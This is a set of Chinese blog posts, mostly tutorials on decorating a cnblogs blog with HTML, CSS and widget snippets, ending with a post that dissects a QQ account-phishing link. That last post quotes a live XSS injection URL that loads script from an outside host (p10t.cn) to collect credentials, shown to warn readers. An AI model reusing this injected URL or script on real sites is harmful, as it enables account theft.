【全网最全的博客美化系列教程】33.添加一只舞动的小知音 【全网最全的博客美化系列教程】34.皮肤背景的选择与定制 添加一个分享的按钮吧 我们可以到分享按钮的设计网站:http://www.jiathis.com/去生成代码,当然也可以自定义生成代码,也可以直接使用默认的代码~ 但是。。。似乎这个网站已经挂掉了,所以。。。我把代码档(偷)下来了~ <!-- 分享 --> <!-- JiaThis Button BEGIN --> <script type="text/javascript" > var jiathis_config={ siteNum:15, sm:"copy,qzone,tsina,weixin,tqq,tsohu,renren,cqq,tieba,douban,kaixin001,t163,yixin,51,copy", summary:"", boldNum:6, showClose:true, shortUrl:false, hideMore:false } </script> <script type="text/javascript" src="http://v3.jiathis.com/code/jiathis_r.js?btn=r.gif&move=0" charset="utf-8"></script> <!-- JiaThis Button END --> 添加方式:进入博客园-管理-设置-页首Html代码,将生成的代码复制到页首Html代码 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
全网最全的博客美化系列教程相关文章目录 【全网最全的博客美化系列教程】01.添加Github项目链接 【全网最全的博客美化系列教程】02.添加QQ交谈链接 【全网最全的博客美化系列教程】03.给博客添加一只萌萌哒的小仓鼠 【全网最全的博客美化系列教程】04.访客量统计的实现 【全网最全的博客美化系列教程】05.公告栏个性时间显示的实现 【全网最全的博客美化系列教程】06.推荐和反对炫酷样式的实现 【全网最全的博客美化系列教程】07.添加一个分享的按钮吧 【全网最全的博客美化系列教程】08.自定义地址栏Logo 【全网最全的博客美化系列教程】09.添加"扩大/缩小浏览区域大小" 按钮 【全网最全的博客美化系列教程】10.小火箭置顶特效的实现 【全网最全的博客美化系列教程】11.鼠标点击爱心特效的实现 【全网最全的博客美化系列教程】12.修改鼠标图案 【全网最全的博客美化系列教程】13.鼠标点击效果升级的实现 【全网最全的博客美化系列教程】14.代码高亮设置的实现 【全网最全的博客美化系列教程】15.动画幻灯效果的实现 【全网最全的博客美化系列教程】16.给博客添加一个打赏的实现 【全网最全的博客美化系列教程】17.博客背景刷新切换效果的实现 【全网最全的博客美化系列教程】18.数学之美---动态几何线条的实现 【全网最全的博客美化系列教程】19.旋转立方体的实现 【全网最全的博客美化系列教程】20.给博客添加一个萌萌哒的看板娘 【全网最全的博客美化系列教程】21.给博客添加一个夜间模式吧 【全网最全的博客美化系列教程】22.添加一个文章目录特效 【全网最全的博客美化系列教程】23.图片水纹特效的实现 【全网最全的博客美化系列教程】24.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】25.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】26.评论头像旋转的实现 【全网最全的博客美化系列教程】27.IP地址定位及天气预报的实现 【全网最全的博客美化系列教程】28.3D标签云动画的实现 【全网最全的博客美化系列教程】29.自制HTML源码运行Javascript特效 【全网最全的博客美化系列教程】30.博客文章实现markdown书写机制 【全网最全的博客美化系列教程】31.用Canvas和requestAnimFrame做动画特效 【全网最全的博客美化系列教程】32.公告栏添加自己的头像 【全网最全的博客美化系列教程】33.添加一只舞动的小知音 【全网最全的博客美化系列教程】34.皮肤背景的选择与定制 推荐和反对炫酷样式的实现 这个样式相信大家早已不陌生了,有关这个样式的实现估计很多人不太清楚,下面让我带大家来学习一下这个样式的实现~ 首先,我们打开F12,我们可以看到这部分~ 我们可以看到主体是调用了div_digg样式,这部分html代码实现是这样的~ <div id="div_digg"> <div class="diggit" onclick="votePost(7628894,'Digg')"> <span class="diggnum" id="digg_count">39</span> </div> <div class="buryit" onclick="votePost(7628894,'Bury')"> <span class="burynum" id="bury_count">0</span> </div> <div class="clear"></div> <div class="diggword" id="digg_tips"> </div> </div> 然后这些样式我们可以在右边的CSS样式中看到是如何定义的~ #div_digg { float: right; position: fixed; width: auto; bottom: 10px; left: 70%; margin-bottom: 10px; background: rgba(247,247,247,0.3); margin-right: 30px; font-size: 12px; box-shadow: 0 0 10px 0 #AAA; padding: 10px; border: 2px solid rgba(82, 168, 236, 0.8); text-align: center; margin-top: 10px; } .buryit { display: none; } 可能你们也会奇怪,为什么没有反对的图标呢?仔细看看上面的css,我写上了none,这也是让它不展示的效果~ 如果你们要设计成如下图所示的样式,你可以这样子~ 实现过程如下: /*推荐和反对*/ #div_digg { padding: 10px; position: fixed; _position: absolute; z-index: 1000; bottom: 20px; right: 0; _right: 17px; border: 1px solid #D9DBE1; background-color: #FFFFFF; filter: alpha(Opacity=80); -moz-opacity: 0.8; opacity: 0.8; } .icon_favorite { background: transparent url('https://files.cnblogs.com/files/ECJTUACM-873284962/kj.gif') no-repeat 0 0; padding-left: 16px; } #blog_post_info_block a { text-decoration: none; color: #5B9DCA; padding: 3px; } 添加方式:进入自己的博客园->设置,将以下css代码添加到“页面定制CSS代码” 上图还展示了一个关注博主的效果,这个我们又该如何实现呢? 这个我们需要先去获取GUID,获取的话你可以按照我给出的如下步骤进行: 进入博客园http://www.cnblogs.com/,如果登陆了,请退出登录,然后进入自己的主页http://www.cnblogs.com/xxxx/ 快捷键F12打开开发者工具 用查找按钮选中“加关注”这个button 复制Guid,然后替换上面的Guid即可 然后我们现在就可以开始写代码了~ <script type="text/javascript" language="javascript"> //为右下角推荐推荐区域添加关注按钮 window.onload = function () { $('#div_digg').prepend('<div style="padding-bottom: 5px"><span class="icon_favorite" style="padding-top: 2px"></span><a onclick="cnblogs.UserManager.FollowBlogger(\'e1cc9c32-fce8-e611-845c-ac853d9f53ac\');" href="javascript:void(0);" style="font-weight: bold; padding-left:5px;">关注一下楼主吧</a> </div>'); } </script> 添加方式:进入自己的博客园->设置,将以下CSS代码添加到“页脚Html代码” 展示效果如下: 原本博主想把下面这种样式风格也给大家讲一下,介于博主比较懒,不愿去改(偷)CSS,有点麻烦,就懒得弄了,点到为止,方法就是这些,感谢大家的支持~ 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
全网最全的博客美化系列教程相关文章目录 【全网最全的博客美化系列教程】01.添加Github项目链接 【全网最全的博客美化系列教程】02.添加QQ交谈链接 【全网最全的博客美化系列教程】03.给博客添加一只萌萌哒的小仓鼠 【全网最全的博客美化系列教程】04.访客量统计的实现 【全网最全的博客美化系列教程】05.公告栏个性时间显示的实现 【全网最全的博客美化系列教程】06.推荐和反对炫酷样式的实现 【全网最全的博客美化系列教程】07.添加一个分享的按钮吧 【全网最全的博客美化系列教程】08.自定义地址栏Logo 【全网最全的博客美化系列教程】09.添加"扩大/缩小浏览区域大小" 按钮 【全网最全的博客美化系列教程】10.小火箭置顶特效的实现 【全网最全的博客美化系列教程】11.鼠标点击爱心特效的实现 【全网最全的博客美化系列教程】12.修改鼠标图案 【全网最全的博客美化系列教程】13.鼠标点击效果升级的实现 【全网最全的博客美化系列教程】14.代码高亮设置的实现 【全网最全的博客美化系列教程】15.动画幻灯效果的实现 【全网最全的博客美化系列教程】16.给博客添加一个打赏的实现 【全网最全的博客美化系列教程】17.博客背景刷新切换效果的实现 【全网最全的博客美化系列教程】18.数学之美---动态几何线条的实现 【全网最全的博客美化系列教程】19.旋转立方体的实现 【全网最全的博客美化系列教程】20.给博客添加一个萌萌哒的看板娘 【全网最全的博客美化系列教程】21.给博客添加一个夜间模式吧 【全网最全的博客美化系列教程】22.添加一个文章目录特效 【全网最全的博客美化系列教程】23.图片水纹特效的实现 【全网最全的博客美化系列教程】24.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】25.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】26.评论头像旋转的实现 【全网最全的博客美化系列教程】27.IP地址定位及天气预报的实现 【全网最全的博客美化系列教程】28.3D标签云动画的实现 【全网最全的博客美化系列教程】29.自制HTML源码运行Javascript特效 【全网最全的博客美化系列教程】30.博客文章实现markdown书写机制 【全网最全的博客美化系列教程】31.用Canvas和requestAnimFrame做动画特效 【全网最全的博客美化系列教程】32.公告栏添加自己的头像 【全网最全的博客美化系列教程】33.添加一只舞动的小知音 【全网最全的博客美化系列教程】34.皮肤背景的选择与定制 公告栏个性时间显示的实现 相信大家也看到了右侧公告栏的动态时钟的效果,是不是感觉还挺不错的? 本文就带大家一起详细了解这个样式的制作过程~~~ 这个我们通过F12去查看下源码,我们可以看到如下图这段源码: 我们仔细看看,似乎你会发现,把这些贴上去以后都没有效果,这是怎么回事呢? 这是一个Flash插件,swf是一种动画格式,实现效果应该是下面的Object内容 然后为了方便起见,其实这个内部已经封装成js代码了,只需要把下面这段代码复制即可~~ <script charset="Shift_JIS" src="http://chabudai.sakura.ne.jp/blogparts/honehoneclock/honehone_clock_tr.js"> </script> 添加方式:进入自己的博客园->设置,将以上html代码添加到“博客侧边栏公告” 原理:学过js的会知道,就是引用了一个封装好的js,内部实现机制是Flash。 添加以后的效果如下: 更多风格请移步至这里:http://chabudai.org/blog/?p=59 这里提供了两种不同的样式,一个是背景透明,一个是背景白色,都提供了相应的源码,你只需要复制到指定位置即可~~ 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
全网最全的博客美化系列教程相关文章目录 【全网最全的博客美化系列教程】01.添加Github项目链接 【全网最全的博客美化系列教程】02.添加QQ交谈链接 【全网最全的博客美化系列教程】03.给博客添加一只萌萌哒的小仓鼠 【全网最全的博客美化系列教程】04.访客量统计的实现 【全网最全的博客美化系列教程】05.公告栏个性时间显示的实现 【全网最全的博客美化系列教程】06.推荐和反对炫酷样式的实现 【全网最全的博客美化系列教程】07.添加一个分享的按钮吧 【全网最全的博客美化系列教程】08.自定义地址栏Logo 【全网最全的博客美化系列教程】09.添加"扩大/缩小浏览区域大小" 按钮 【全网最全的博客美化系列教程】10.小火箭置顶特效的实现 【全网最全的博客美化系列教程】11.鼠标点击爱心特效的实现 【全网最全的博客美化系列教程】12.修改鼠标图案 【全网最全的博客美化系列教程】13.鼠标点击效果升级的实现 【全网最全的博客美化系列教程】14.代码高亮设置的实现 【全网最全的博客美化系列教程】15.动画幻灯效果的实现 【全网最全的博客美化系列教程】16.给博客添加一个打赏的实现 【全网最全的博客美化系列教程】17.博客背景刷新切换效果的实现 【全网最全的博客美化系列教程】18.数学之美---动态几何线条的实现 【全网最全的博客美化系列教程】19.旋转立方体的实现 【全网最全的博客美化系列教程】20.给博客添加一个萌萌哒的看板娘 【全网最全的博客美化系列教程】21.给博客添加一个夜间模式吧 【全网最全的博客美化系列教程】22.添加一个文章目录特效 【全网最全的博客美化系列教程】23.图片水纹特效的实现 【全网最全的博客美化系列教程】24.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】25.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】26.评论头像旋转的实现 【全网最全的博客美化系列教程】27.IP地址定位及天气预报的实现 【全网最全的博客美化系列教程】28.3D标签云动画的实现 【全网最全的博客美化系列教程】29.自制HTML源码运行Javascript特效 【全网最全的博客美化系列教程】30.博客文章实现markdown书写机制 【全网最全的博客美化系列教程】31.用Canvas和requestAnimFrame做动画特效 【全网最全的博客美化系列教程】32.公告栏添加自己的头像 【全网最全的博客美化系列教程】33.添加一只舞动的小知音 【全网最全的博客美化系列教程】34.皮肤背景的选择与定制 访客量统计的实现 相信大家也看到了右侧公告栏的访客量统计的效果,我们可以看到有两个样式,一个是单独统计人数的,一个是统计访客来源的,是不是感觉还挺不错的? 本文就带大家一起详细了解这个样式的制作过程~~~ 首先是数字样式,效果如下: 这个我们通过F12去查看下源码,我们可以看到如下图这段源码: 我们把这段源码拷贝出来看看: <div align="center"> <a href="http://www.amazingcounters.com"> <img border="0" src="https://cc.amazingcounters.com/counter.php?i=3214944&amp;c=9645145" alt="AmazingCounters.com"> </a> </div> 我们可以看到,这个样式来源于这个网站:http://www.amazingcounters.com 下一步我们肯定去访问下这个网站看看,果真,这个网站提供了大量的访客量统计的样式。 我们点击Browse Over 750 Counter Styles In 24 Categories 里面有大量的样式供我们选择~~~就拿我的为例子,我用的是Olde Style,我就一步步教大家怎么弄~~~ 首先,点击Olde Style,然后填入对应的信息,需要注意的是Url是你博客园的地址 然后点击Create New Account 然后把相应的源码拷贝出来即可~~ 添加方式:进入自己的博客园->设置,将以上html代码添加到“博客侧边栏公告” 这样即可完成了页面访客量统计,展示效果如下: 然后接着是统计访客来源了,效果如下: 这个我们用同样方法通过F12去查看下源码,我们可以看到如下图这段源码: 我们把这段源码拷贝出来看看: <a href="https://info.flagcounter.com/G05j"> <img src="https://s07.flagcounter.com/count/G05j/bg_FFFFFF/txt_000000/border_CCCCCC/columns_2/maxflags_250/viewers_0/labels_1/pageviews_1/flags_0/percent_0/" alt="Flag Counter" border="0"> </a> 我们可以看到,这个样式来源于这个网站:https://info.flagcounter.com/G05j 下一步我们肯定去访问下这个网站看看,果真,这个网站提供了自定义访客来源的样式。以我的为例子,我们直接点击Create a FREE Flag Counter! 然后可以根据自己的喜好设置这些参数,点击GET YOUR FLAG COUNTER 然后填下你的邮箱地址,好像是要验证信息来着,也可以选择不填写,直接Skip跳过即可 然后你就获得了访客量来源统计的源码~~~ 添加方式:进入自己的博客园->设置,将以上html代码添加到“博客侧边栏公告” 这样即可完成了页面访客量来源统计,展示效果如下: 至于可能会出现显示的大小适配问题,你稍微调整一下格式大小就好了~~~ 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
全网最全的博客美化系列教程相关文章目录 【全网最全的博客美化系列教程】01.添加Github项目链接 【全网最全的博客美化系列教程】02.添加QQ交谈链接 【全网最全的博客美化系列教程】03.给博客添加一只萌萌哒的小仓鼠 【全网最全的博客美化系列教程】04.访客量统计的实现 【全网最全的博客美化系列教程】05.公告栏个性时间显示的实现 【全网最全的博客美化系列教程】06.推荐和反对炫酷样式的实现 【全网最全的博客美化系列教程】07.添加一个分享的按钮吧 【全网最全的博客美化系列教程】08.自定义地址栏Logo 【全网最全的博客美化系列教程】09.添加"扩大/缩小浏览区域大小" 按钮 【全网最全的博客美化系列教程】10.小火箭置顶特效的实现 【全网最全的博客美化系列教程】11.鼠标点击爱心特效的实现 【全网最全的博客美化系列教程】12.修改鼠标图案 【全网最全的博客美化系列教程】13.鼠标点击效果升级的实现 【全网最全的博客美化系列教程】14.代码高亮设置的实现 【全网最全的博客美化系列教程】15.动画幻灯效果的实现 【全网最全的博客美化系列教程】16.给博客添加一个打赏的实现 【全网最全的博客美化系列教程】17.博客背景刷新切换效果的实现 【全网最全的博客美化系列教程】18.数学之美---动态几何线条的实现 【全网最全的博客美化系列教程】19.旋转立方体的实现 【全网最全的博客美化系列教程】20.给博客添加一个萌萌哒的看板娘 【全网最全的博客美化系列教程】21.给博客添加一个夜间模式吧 【全网最全的博客美化系列教程】22.添加一个文章目录特效 【全网最全的博客美化系列教程】23.图片水纹特效的实现 【全网最全的博客美化系列教程】24.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】25.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】26.评论头像旋转的实现 【全网最全的博客美化系列教程】27.IP地址定位及天气预报的实现 【全网最全的博客美化系列教程】28.3D标签云动画的实现 【全网最全的博客美化系列教程】29.自制HTML源码运行Javascript特效 【全网最全的博客美化系列教程】30.博客文章实现markdown书写机制 【全网最全的博客美化系列教程】31.用Canvas和requestAnimFrame做动画特效 【全网最全的博客美化系列教程】32.公告栏添加自己的头像 【全网最全的博客美化系列教程】33.添加一只舞动的小知音 【全网最全的博客美化系列教程】34.皮肤背景的选择与定制 添加QQ交谈链接 大家把目光移至最右边的公告栏哈,你们是不是看到了一个有事您Q我的图标呢?就像下面这样子 大家是不是很好奇这个玩意是怎么弄的呢,我们可以尝试控制台F12去找找我这个控件,同样的你也能实现这些效果,如下图所示: 很明显,我们可以看到上图,我用红色矩形框住的这部分语句控制着这个图标,点击以后会跳转到我的QQ临时对话的界面。然后跳转至如下的界面。 以上语句实现如下: <a target="_blank" href="http://wpa.qq.com/msgrd?v=3&amp;uin=873284962&amp;site=qq&amp;menu=yes"> <img border="0" src="http://wpa.qq.com/pa?p=1:873284962:13" alt="有事您Q我" title="有事您Q我"> </a> 我们只需要替换href中的QQ号替换为自己的QQ号为自己的QQ号 传入的src中的QQ号替换为自己的QQ号 添加方式:进入自己的博客园->设置,将以上html代码添加到“博客侧边栏公告” 添加后,效果如图所示: 原理:学过一点前端知识的人就知道,这是一个很简单的东西,通过href引用链接跳转,再用img标签装上一个图片的样式。 可能你们会问了,这个href链接为什么是这个呢?其实在我探索过程中,我发现了QQ其实提供了一个临时会话的功能 通过传入参数即可完成临时会话。 那我们怎么会知道有临时会话这个功能呢? 可能你们又会问了,我通过查看源码跳转,惊奇的发现,其实QQ平台自己提供了一个推广功能,并且有很多样式可以供我们选择。 QQ推广还提供了QQ群的推广源码,样式效果如下: 还有其他样式的QQ推广我就不一一展示给大家看了,需要的自取哦~~ 这个推广上面都提供了源码,你只需要将href的QQ号改成自己的,传入的src参数为自己的QQ号,复制粘贴到指定位置就行了~~~ QQ推广网址是这个:http://shang.qq.com/v3/widget.html,上面提供了很多种风格,小伙伴们可以根据自己的需要进行选择即可~~ 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
全网最全的博客美化系列教程相关文章目录 【全网最全的博客美化系列教程】01.添加Github项目链接 【全网最全的博客美化系列教程】02.添加QQ交谈链接 【全网最全的博客美化系列教程】03.给博客添加一只萌萌哒的小仓鼠 【全网最全的博客美化系列教程】04.访客量统计的实现 【全网最全的博客美化系列教程】05.公告栏个性时间显示的实现 【全网最全的博客美化系列教程】06.推荐和反对炫酷样式的实现 【全网最全的博客美化系列教程】07.添加一个分享的按钮吧 【全网最全的博客美化系列教程】08.自定义地址栏Logo 【全网最全的博客美化系列教程】09.添加"扩大/缩小浏览区域大小" 按钮 【全网最全的博客美化系列教程】10.小火箭置顶特效的实现 【全网最全的博客美化系列教程】11.鼠标点击爱心特效的实现 【全网最全的博客美化系列教程】12.修改鼠标图案 【全网最全的博客美化系列教程】13.鼠标点击效果升级的实现 【全网最全的博客美化系列教程】14.代码高亮设置的实现 【全网最全的博客美化系列教程】15.动画幻灯效果的实现 【全网最全的博客美化系列教程】16.给博客添加一个打赏的实现 【全网最全的博客美化系列教程】17.博客背景刷新切换效果的实现 【全网最全的博客美化系列教程】18.数学之美---动态几何线条的实现 【全网最全的博客美化系列教程】19.旋转立方体的实现 【全网最全的博客美化系列教程】20.给博客添加一个萌萌哒的看板娘 【全网最全的博客美化系列教程】21.给博客添加一个夜间模式吧 【全网最全的博客美化系列教程】22.添加一个文章目录特效 【全网最全的博客美化系列教程】23.图片水纹特效的实现 【全网最全的博客美化系列教程】24.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】25.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】26.评论头像旋转的实现 【全网最全的博客美化系列教程】27.IP地址定位及天气预报的实现 【全网最全的博客美化系列教程】28.3D标签云动画的实现 【全网最全的博客美化系列教程】29.自制HTML源码运行Javascript特效 【全网最全的博客美化系列教程】30.博客文章实现markdown书写机制 【全网最全的博客美化系列教程】31.用Canvas和requestAnimFrame做动画特效 【全网最全的博客美化系列教程】32.公告栏添加自己的头像 【全网最全的博客美化系列教程】33.添加一只舞动的小知音 【全网最全的博客美化系列教程】34.皮肤背景的选择与定制 添加Github项目链接 你们肯定对左上角的Fork me on Github比较好奇吧,这个是怎么弄的呢,其实你们通过F12控制台去找到这个控件,你们也能实现这个效果,如下图,很明显,我们可以看到是我用红色矩形框住的这部分语句控制着这个图标,点击以后会跳转到我的Github项目管理。 以上语句如下: <a href="https://github.com/AngelKitty"> <img style="position: absolute; top: 0; left: 0; border: 0;" src="https://s3.amazonaws.com/github/ribbons/forkme_left_darkblue_121621.png" alt="Fork me on GitHub"> </a> 把href的内容替换为自己的GitHub仓库地址 src的图片链接地址可以设置为其他地址,我就选择直接引用了。 添加方式:进入自己的博客园->设置,将以上html代码添加到“页首Html代码” 原理:学过一点前端知识的人就知道,这是一个很简单的东西,通过href引用链接跳转,再用img标签装上一个图片的样式。 添加以后效果如下: 更多风格请移步至这里:https://blog.github.com/2008-12-19-github-ribbons/ 这里有很多不同风格的形式供你选择,上面都提供了源码,你只需要更改href地址,复制粘贴到指定位置就行了~~~ 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
前言 相信大家在懵懂无知的时候都有被盗号的经历吧,QQ胡乱的加好友,突然有个好友传了个文件给你,打开以后发现QQ竟然显示强制下线,然后再也上不去了QAQ,很明显,QQ号被人盗了。最近也是很多小伙伴私信我,也看了一些人发空间说QQ号被盗了啥的,以及我自己收到的一些诈骗请求。网上针对防骗这块的文章几乎没有,为了不让更多的人受害,下面我将会以最真实朴素的语言介绍最常见的一种盗号诈骗方式,浅析一下这个盗号原理的全过程~~~希望大家不要再上当受骗啦~! 正文 下面我给大家介绍一种最常见的QQ诈骗方式。 这个是我今早收到的一条链接,相信不少朋友肯定也收到类似的链接吧,甚至乎很多人都说因为点开这个链接被盗号吧。。。只有不懂安全,没用安全意识的人才会这么说吧!!! 让我带大家来剖析一下这个东东吧~~~ 很明显,你看这个域名看不出任何眉头,既然大家都不敢点,我就替大家点点看~~~ 首先我们在手机端点开这个链接 点开一看,我们可以看到,是一个QQ空间登录界面,这个界面就是一个欺骗用户的界面,为什么这么说呢,你把这个界面链接复制出来,用浏览器打开,你会发现网页无法打开,并且域名成了下面这个: http://sdk.h5.gamedog.cn/apih5v2/getIsLogin/?callback=%00%00%00%00%00%00%00%3CscripT/src%3D//p10t.cn/app.php%3Faid%3D5%3E%3C/scripT%3E%3C!--&bqvoqvwqtujhigzkumjk.png 看样子域名被浏览器解析成了一张png图片,你可能会有点好奇这个,我们用pc端按照这个地址进行追踪,用F12查看网页源代码 <scripT/src=//p10t.cn/app.php?aid=5></scripT><!--({"code":-2,"msg":"\u7528\u6237\u672a\u767b\u5f55"}) 就只有这么一行,我们可以看到从登录页面输入完账号密码以后会跳转到一个app.php网页里面,我们循规蹈矩,直接去追踪访问那个界面 有点意思,网页从QQ空间进行跳转的 window.location.href = "http://qzone.qq.com"; 学过JavaScript的朋友应该知道,location.href="网站链接",表示重新定向到新页面,同时刷新打开的这个页面; 这个意思是从一个伪QQ空间的页面上输入账户密码,这个页面被植入了php的恶意木马,通过跳转重定向,直接跳转到了木马网站去了,后台数据库并记录了这条信息,然后你的QQ号账户密码就被别人成功获取了~~~ 如果不信的话,我们可以一起来试一试 首先输入账号密码。。。我们就随便伪造一个,账号是3838438,密码就写一个mmpsbsbsb试试看!!! 这里还要说一点,我试的时候这里好像做的还挺真实的,防中文输入,我本来想直接开口大骂呢,hhhh,没给我这个机会。。。 这里无论输入什么账号密码都可以过,除了中文无法检测,账号必须是一连串的数字,密码防了中文输入。 然后我点击登录 看吧,直接就登录成功了,还有这张图片,这这这。。。完全就是挑衅啊,竟然贴一张小狗的图片,是在考验我智商嘛? 我尝试了一下ping它的主页,ping p10t.cn ping通了,说明这个网站还活着。 但是登录页面显示403错误,服务器拒绝访问,我不是很清楚如何绕过这一防线。 那我也没辙了,技术不够精湛,我只能写下这篇文章记录一下,希望更多的人看到,不要再上当受骗了就好~~~ 如果文章哪里写的有出路的地方,希望各位不吝赐教,如果有更好的解决方案,欢迎在评论区留言或私信给我,感谢大家的支持~~~ 关于其他类型的诈骗 可能有些人遇到一些其他的诈骗,比如电话诈骗,短信诈骗,讲一个最真实的例子,推荐你们看一部电影,叫嘉年华,里面讲述的是关于电信诈骗的案件,这部电影是由真实事件改编而成的,非常推荐大家观看,里面有一些防诈骗的技巧,看完以后你会对常见的诈骗手段有了一个更深层次的了解。 如果没有找到资源的小伙伴,我也会在文章中分享给你们一个百度云链接,保存以后下载观看即可:链接:https://pan.baidu.com/s/1CrYJ9jtkSqqxzZSlzQTsqA 密码:2qlz 说这么多,可能大家会认为我在吹牛皮,认为这些事情不会发生在自己身上。我讲一个最真实的例子,我母亲因为前段时间地上见到一张彩票,刮开奖说中了10w块钱,我身在一个并不宽裕的家庭,按照现在的话来讲,算是贫农家庭,还远没达到小康水平,想想看,10w块钱从天而降,对于我们这种家庭,这绝对算是一笔相当的财富,当时我妈拿着彩票回家,和我还有我爸商量来着,我一看说,这肯定是骗局吧,这么好的事情为什么偏偏出现在我们身上,天上不会掉馅饼,努力奋斗才能梦想成真,我妈偏不信这个邪,想去试一试,然后拨打了上面的电话,上面巴拉巴拉说了一大堆,意思就是要交3000块钱税钱啥的,然后才能兑换这个钱,你看,这不明显是骗局嘛,我妈又觉得,如果得到了这个钱,相当于她少上多少年的班,其实说白了这一切都是为了这个不争气的我,我其实也是很愧疚的。所以朋友们要记住,只要谈到钱这个问题,要悠着点,十有八九都是骗局,我妈最后是按照地址打钱过去了,然后事实上,对方并没有想要兑换的意思,巴拉巴拉说了一大堆,好像又是要交钱。。。我妈现在才意识到被骗了,然后跑到警局报了案,警方说,你不是第一个了,关于彩票中奖被骗的人一大堆,他们说没有足够的证据线索,立不了案,没办法了,3k被狗吃了,这可是辛辛苦苦东奔西跑的血汗钱,这些骗子也是一点良心都没有,所以。。。后来我励志要当一名网警,要把这些逍遥法外的人绳之以法,天网恢恢疏而不漏,这些人最终一定逃不了法律的制裁的。 后记 关于盗号这一问题,我给大家提醒两句,只要少一点好奇心,少一点贪欲,多一点警惕之心,不管是什么类型的诈骗都不会出现在你身上,谨记哦。。。 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
